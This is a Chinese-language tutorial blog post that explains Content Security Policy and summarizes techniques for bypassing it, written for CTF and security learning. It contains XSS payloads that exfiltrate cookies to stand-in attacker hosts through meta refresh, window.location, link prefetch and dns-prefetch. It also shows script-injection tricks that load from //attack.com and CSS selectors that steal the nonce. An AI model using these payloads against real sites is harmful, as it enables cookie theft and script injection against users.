风之栖息地

CSP绕过总结

字数统计: 2.1k阅读时长: 8 min
2018/06/30 Share

首发在信安之路上 https://mp.weixin.qq.com/s/z_XmhrTUg_yUfkyAFFfaKQ ,之后文章略有修改。

CSP绕过总结

今年的0CTF预选赛6道web题,其中三道都涉及CSP的知识点,简直可怕。。。这次趁着空闲时间就稍稍总结一下CSP绕过方面的知识,无论是对以后CTF比赛还是工作都很有帮助。

CSP的基础

CSP的全称Content Security Policy,用来防御XSS攻击的技术。它是一种由开发者定义的安全性政策性申明,通过CSP指定可信的内容来源,让WEB处于一个安全的运行环境中。

一个CSP头由多组CSP策略组成,中间由分号分隔,如下所示:

1
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项:

指令 说明
default-src 定义资源默认加载策略
connect-src 定义 Ajax、WebSocket 等加载策略
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义 \<audio>、\<video> 等引用资源加载策略
object-src 定义 \<applet>、\<embed>、\<object> 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志

内容源有如下选项:

说明
* 通配符,允许任何URL,除了data: blob: filesystem: schemes
*.foo.com 允许加载foo.com子域的资源
abc.foo.com 只能加载这个域名下的资源
https://a.com 只能用HTTPS加载域名下的资源
https: 通过HTTPS可以加载任意域名下的资源
‘none’ 代表空集,即不匹配任何URL,两侧单引号是必须的
‘self’ 代表和文档同源,包括相同的URL协议和端口号,两侧单引号是必须的
‘unsafe-inline’ 允许使用内联资源,如内联的\<script>元素、javascript: URL、内联的事件处理函数和内联的\<style>元素,两侧单引号是必须的
‘unsafe-eval’ 允许使用 eval() 等通过字符串创建代码的方法,两侧单引号是必须的
data: 允许data: URI作为内容来源
mediastream: 允许mediastream: URI作为内容来源

内容源有三种:源列表、关键字和数据,其中.foo.com,abc.foo.com,https://a.com ,https:属于源列表。’none’,’self’,’unsafe-inline’,’unsafe-eval’属于关键字。data:,mediastream:属于数据。

例子1

1
Content-Security-Policy: default-src 'self' trustedscripts.foo.com

意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com

例子2

1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

图片源可以为同源内容或者是data:引用的资源,媒体源必须使用mediastream:引用,除此以外的都执行默认内容源判断,必须为同源内容。更加详细的可以看

1
https://lorexxar.cn/2016/08/08/ccsp/

一个在线的CSP头部生成器可以帮助我们深入理解

1
https://www.cspisawesome.com

一个CSP安全检测网站,能够提供一些参考

1
https://csp-evaluator.withgoogle.com/

CSP的进化–nonce script CSP和strict-dynamic

这是Google团队2016年在CSP is Dead, Long live CSP中正式提出的CSP种类,为了解决CSP爆出的各种各样的问题。

nonce script CSP

动态生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行

1
2
3
4
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '");
?>
<script nonce="<?php echo $random?>">

这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,保证所加载的任何资源都是可信的,并且还能拦截后面插入的script。

strict-dynamic

1
Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic'

SD意味着可信js生成的js代码是可信的。

这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。

CSP Bypass的方法总结

CSP对前端攻击的防御主要有两个:

  1. 限制js的执行。
  2. 限制对不可信域的请求。

接下来的多种Bypass手段也是围绕这两种的

url跳转

利用url跳转,回避严格的CSP。

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

1
2
3
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

\<a>标签配合站内的某些可控JS点击操作来跳转

1
2
3
4
<script>
$(#foo).click()
</script>
<a id="foo" href="xxxxx.com">

利用网站本身的跳转接口

1
http://foo.com/jmp.php?url=attack.com

CSP对link标签的预加载功能考虑不完善。在Chrome下,可以使用如下标签发送cookie或者其他数据

1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是我们可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

link标签除了这两种rel,还有preconnect、prerender、subresource、preload等

利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用\<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样

1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

1
2
<p>插入点</p>
<script nonce="abc">document.write('CSP');</script>

可以插入

1
<script src=//attack.com a="

这里利用浏览器的容错机制会拼成一个新的script标签,其中的src可以自由设定

1
2
<p><script src=//attack.com a="</p>
<script" nonce="abc">document.write('CSP');</script>

利用DOM XSS

如果JS存在操作location.hash导致的XSS,那么这样的攻击请求不会经过后台,那么nonce后的随机值就不会刷新。可以见下面lorexxar师傅的博文

1
https://lorexxar.cn/2017/05/16/nonce-bypass-script/

如果有DOM操作可以插入HTML并且可以控制插入的HTML内容,那么也可以绕过CSP

利用CSS 静态xss 获取nonce值

利用CSS选择器来逐字节获取信息,^=从头部判断

1
2
3
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}

比如确定第一位为c,那么就会继续下面的步骤

1
2
3
*[attribute^="ca"]{background:url("record?match=ca")}
*[attribute^="cb"]{background:url("record?match=cb")}
*[attribute^="cc"]{background:url("record?match=cc")}

由于是CSS的变化,没有引起服务器重新请求,所以nonce的值不会改变,偷取值后即可执行我们的script

利用跨域传输数据

利用一些跨域传输的方法来引入JS,导致执行

具体的可以看看呆子不开口的乌云大会PPT

1
http://pan.baidu.com/s/1pLCfCWr

和0CTF2018预选赛中的h4xors.club2

1
https://lorexxar.cn/2018/04/10/0ctf2018-club2/

利用文件上传执行JS

1
Content-Security-Policy: default-src 'self'; script-src 'self'

针对只能加载同域下script的CSP策略,如果有上传点可以控制,那么可以在其中夹杂js代码,然后引用该文件完成执行。

可以参考前几天梅子酒师傅写的上传Wave文件绕过CSP,执行JS

1
https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

base标签

利用base标签改变资源加载的域,从而引入恶意的js,造成js执行

结语

可以看到CSP的绕过比较看重实际场景,不同的情况下有着不同的绕过方法。

作者能力有限,如果文章中有什么问题,欢迎交流。最后,恭喜RNG!

Reference

1
2
3
4
5
6
7
8
9
10
11
12
13
https://lorexxar.cn/2017/05/09/CSP%20Is%20Dead,%20Long%20Live%20CSP!%20On%20the%20Insecurity%20of%20Whitelists%20and%20the%20Future%20of%20Content%20Security%20Policy/

https://lorexxar.cn/2017/10/25/csp-paper/#0x02-CSP%EF%BC%88Content-Security-Policy%EF%BC%89

https://www.jianshu.com/p/f1de775bc43e

https://paper.seebug.org/91/

http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

https://lorexxar.cn/2017/05/16/nonce-bypass-script/

https://lorexxar.cn/2016/08/08/ccsp/
CATALOG
  1. 1. CSP绕过总结
    1. 1.1. CSP的基础
    2. 1.2. CSP的进化–nonce script CSP和strict-dynamic
      1. 1.2.1. nonce script CSP
      2. 1.2.2. strict-dynamic
    3. 1.3. CSP Bypass的方法总结
      1. 1.3.1. url跳转
      2. 1.3.2. \<link>标签预加载
      3. 1.3.3. 利用浏览器补全
      4. 1.3.4. 利用DOM XSS
      5. 1.3.5. 利用CSS 静态xss 获取nonce值
      6. 1.3.6. 利用跨域传输数据
      7. 1.3.7. 利用文件上传执行JS
      8. 1.3.8. base标签
    4. 1.4. 结语
    5. 1.5. Reference